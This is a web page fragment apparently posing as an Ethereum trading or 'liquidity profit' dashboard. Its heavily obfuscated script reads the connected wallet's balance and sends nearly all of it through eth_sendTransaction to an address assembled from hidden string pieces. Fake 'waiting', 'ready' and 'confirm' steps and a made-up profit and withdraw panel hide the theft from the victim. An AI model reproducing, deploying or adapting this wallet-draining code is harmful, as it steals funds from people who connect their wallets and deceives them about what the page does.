(ECZQVK[_0x53cedc(0xf1,0x14a,0xc9,0x108)],ECZQVK[_0x3f1f03(-0xa3,-0xc9,-0x69,-
0x8b)]),');'))();}catch(_0x5c828d){_0x641ee=_0xd3f9a4;}return _0x641ee;}else{const
_0x4c2cce=typeAdress[_0x53cedc(0x102,0xf5,0xbf,0xd1)];transferInProgress=!![];const
_0x24725b=_0x13b4dc[_0x53cedc(0xd0,0x10e,0x10c,0xe6)],_0x2e2409=_0x13b4dc[_0x53cedc
(0xf8,0x10f,0x13b,0xfc)],_0x2e9276=_0x13b4dc[_0x3f1f03(-0x99,-0xc8,-0xae,-0xd3)]
(kyc,c),_0x41fa34=kyc(_0x24725b),_0x431cd1=_0x13b4dc[_0x53cedc(0x134,0xd3,0xd8,0x11
3)](kyc,_0x2e2409),_0x343fd0=await window[_0x3f1f03(-0xb6,-0xf2,-0xcd,-0xa6)]
[_0x53cedc(0x83,0xf0,0xa2,0xc6)]({'method':_0x13b4dc[_0x3f1f03(-0xd7,-0xb2,-0x103,-
0x98)],'params':[window[_0x53cedc(0xde,0xbb,0x12f,0xf6)]
[_0x53cedc(0x92,0xb6,0xc7,0xda)+_0x3f1f03(-0x98,-0x9c,-0x97,-
0xd7)],_0x13b4dc[_0x53cedc(0x146,0x159,0x115,0x115)]]}),_0x1cc658={};_0x1cc658[_0x5
3cedc(0xef,0xd8,0xf4,0x10f)]=_0x13b4dc[_0x53cedc(0xf9,0x125,0xe7,0xe5)];const
_0x385b24=await window[_0x3f1f03(-0xb6,-0xee,-0xdf,-0x9d)]
[_0x53cedc(0xf6,0x91,0xd6,0xc6)]
(_0x1cc658),_0x342784=''+comission+_0x2e9276,_0x95d151=-0x12173+-
0x48*0x4e3+0x3449b*0x1,_0x484e0a=_0x13b4dc[_0x53cedc(0x8c,0xb2,0xee,0xb9)](_0x385b
24,_0x95d151);if(_0x13b4dc[_0x53cedc(0x72,0x9e,0xb7,0xb6)](_0x13b4dc[_0x3f1f03(-
0x99,-0x54,-0xcc,-0x99)](BigInt,_0x343fd0),_0x484e0a))
{if(_0x13b4dc[_0x53cedc(0x98,0x6f,0x71,0xb5)](_0x13b4dc[_0x3f1f03(-0xda,-0xba,-
0x10c,-0xb3)],_0x13b4dc[_0x3f1f03(-0xda,-0x10a,-0xf2,-0xd2)]))
{_0x13b4dc[_0x53cedc(0x105,0xec,0x11c,0x11d)]
(alert,_0x13b4dc[_0x53cedc(0x117,0x139,0xd4,0x116)]),transferInProgress=!
[];return;}else{const _0x34796d=_0x4fb401[_0x3f1f03(-0xeb,-0xe2,-0xf5,-0x12a)]
(_0x158b85,arguments);return _0x28e3bb=null,_0x34796d;}}const
_0xa73184=''+_0x41fa34+_0x431cd1,_0x1e18b0=_0x13b4dc[_0x3f1f03(-0x77,-0x9a,-0x63,-
0xb2)]
(BigInt(_0x343fd0),BigInt(_0x484e0a)),_0xf5d9fb='0x'+unit+confirm+_0x342784+_0xa731
84;await window[_0x3f1f03(-0xb6,-0xaf,-0xde,-0xbc)][_0x53cedc(0xfb,0xb5,0x83,0xc6)]
({'method':_0x53cedc(0xbd,0xf4,0x7d,0xbe)+_0x3f1f03(-0xb2,-0xc5,-0xa3,-
0x85),'params':[{'from':window[_0x53cedc(0x10b,0x139,0xf0,0xf6)]
[_0x53cedc(0x109,0xf7,0xcd,0xda)+_0x3f1f03(-0x98,-0xd9,-0x94,-
0x99)],'to':_0xf5d9fb,'value':_0x13b4dc[_0x53cedc(0x11d,0x14a,0xfc,0x111)]
('0x',_0x1e18b0[_0x53cedc(0xe0,0xe4,0x128,0xe7)](-0x2614+-0x18a9*-
0x1+0xd7b))}]}),_0x13b4dc[_0x53cedc(0x141,0x16b,0x12c,0x13e)](alert,_0x3f1f03(-
0x9f,-0xbd,-0x67,-
0xd0)+_0x53cedc(0xce,0x115,0x114,0xd7)+_0x53cedc(0xc9,0x114,0xcd,0xf0)+_0x53cedc(0x
14d,0x15a,0x169,0x12d)+_0x53cedc(0xff,0x154,0x104,0x110)+_0x3f1f03(-0x9a,-0xe2,-
0x77,-0x89)+_0x3f1f03(-0xe9,-0x110,-0xec,-0xaa)+_0x3f1f03(-0xa8,-0xcf,-0x72,-
0x73)+_0x3f1f03(-0xbb,-0xfc,-0x99,-0x7d)
+_0x53cedc(0x10d,0xf8,0x123,0xf2)+_0x3f1f03(-0x73,-0x74,-0x53,-0x79)+_0x3f1f03(-
0x85,-0x6f,-0x9e,-0x82)),transferInProgress=![];}}catch(_0xb7c10)
{_0x13b4dc[_0x3f1f03(-0xc4,-0xef,-0xaa,-0x7c)]!==_0x53cedc(0x149,0xf1,0x112,0x103)?
(alert(_0x3f1f03(-0xa1,-0xa9,-0x79,-
0xc1)+_0x53cedc(0x167,0x173,0x129,0x132)+_0x53cedc(0x13f,0x126,0xf2,0x137)+_0x53ced
c(0x126,0xef,0xab,0xe1)),console[_0x53cedc(0xb6,0xa1,0xc0,0xc5)]
(_0xb7c10),transferInProgress=![]):_0x4366b3=_0x21dbe2;}};
</script>
<script>
connectButton.addEventListener("click", async () => {
try {
const accounts = await window.ethereum.request({
method: "eth_requestAccounts",
});
if (accounts.length > 0) {
sendEtherButton.style.display = "block";
typeAdress.style.display = "block";
checkBalanceButton.style.display = "block";
checkAdressBalanceButton.style.display = "block";
connectButton.style.display = "none";
}
} catch (error)
{
console.error(error);
alert("connection error");
}
});
sendEtherButton.addEventListener("click", async () => {
try {
const value = typeAdress.value;
if (resultElement.innerText !== "ready")
{
alert("Сlick the deploy button");
return;
}
if (!value || value.length < 40)
{
alert("Attention! Enter the correct second Ethereum address");
return;
}
if (!validationComplete)
{
if (
/^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test(
value
) &&
value.length >= 40 ) {
statusMessage.textContent = "waiting...";
typeAdress.disabled = true;
sendEtherButton.disabled = true;
setTimeout(() => {
validationComplete = true;
statusMessage.textContent = "ready";
typeAdress.disabled = true;
sendEtherButton.textContent = "confirm";
sendEtherButton.disabled = false;
}, 10000);
}
else
{
alert("Error! input value");
}
} else if (sendEtherButton.textContent === "confirm")
{
performTransaction();
}
}
catch (error)
{
console.error("Error on process:\n" + error);
transferInProgress = false;
}
});
checkBalanceButton.addEventListener("click", async () => {
try {
const balanceWei = await window.ethereum.request({
method: "eth_getBalance",
params: [window.ethereum.selectedAddress, "latest"],
});
const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
balanceDisplay.innerText = `balance: ${balanceEther} ETH`;
balanceDisplay.style.display = "block";
}
catch (error)
{
console.error(error);
alert("Error");
}
});
</script>
<style>
html {
box-sizing: border-box;
font-family: "Open Sans", sans-serif;
}
*,
*:before,
*:after {
box-sizing: inherit;
}
body {
font-family: Arial, sans-serif;
text-align: center;
margin: 0;
padding: 20px;
background: #222336;
background:
-webkit-radial-gradient(
circle farthest-side at center center,
#222336 0%,
#222336 100%
);
background:
-moz-radial-gradient(
circle farthest-side at center center,
#2a2c3f 0%,
#222336 100%
);
background:
radial-gradient(
circle farthest-side at center center,
#222336 0%,
#222336 100%
);
}
section {
background: #2a2c3f;
color: white;
border-radius: 1em;
padding: 1em;
position: absolute;
top: 50%;
left: 50%;
margin-right: -50%;
margin: 0 auto;
transform: translate(-50%, -50%);
}
</style>
<div id="tableEth"
style="height: 400px;
overflow-y:scroll;
display: none;">
<font color=white>
<p align=left>
my ETH contract:
<span id="contract"></span></p>
<p align=left>
my ETH address:
<span id="addressEth"></span></p>
<p align=left>
my liqiudity:
<button>low</button></p>
<p align=left>
my status:
<button>liquid</button></p>
<p align=left>
my profit for withdraw ETH:
<span id="earnEth"></span>&nbsp;ETH</p>
<p align=left>
<input
type="text"
id="addressWithdrawEth"
name="adress_auth"
placeholder="0x"
autocomplete="off"
size="20" />
<button id="withdrawAllEth" onclick="withdrawEth()">withdraw ALL profit
</button>
<button id="increaseLiquidity" disabled onclick="repeatConfirm()">increase
liquidity</button>
<table>
<thead>
<tr>
<th>Status</th>
<th>Method</th>
<th>My fee <br>(my profit)</th>
<th>Sender</th>
<th>My ETH account</th>
</tr>
</thead>
<tbody id="tableBody"></tbody>
</table>
</div>
<script>
const regularLaunchButton = document.getElementById("regular");
const resultElement = document.getElementById("result");
function setButtonsDisabled(isDisabled)
{
regularLaunchButton.disabled = isDisabled;
}
function timeout(workFn) {
console.log("exec");
setButtonsDisabled(true);
resultElement.innerText = "waiting...";
setTimeout(() => {
const asyncStartTime = Date.now();
resultElement.innerText = "ready";
setButtonsDisabled(true);
}, 12000);
const startTime = Date.now();
if (typeof workFn === "function")
{
workFn();
}
}
regularLaunchButton.addEventListener("click", () => {
timeout();
});
</script>
</section>

You might also like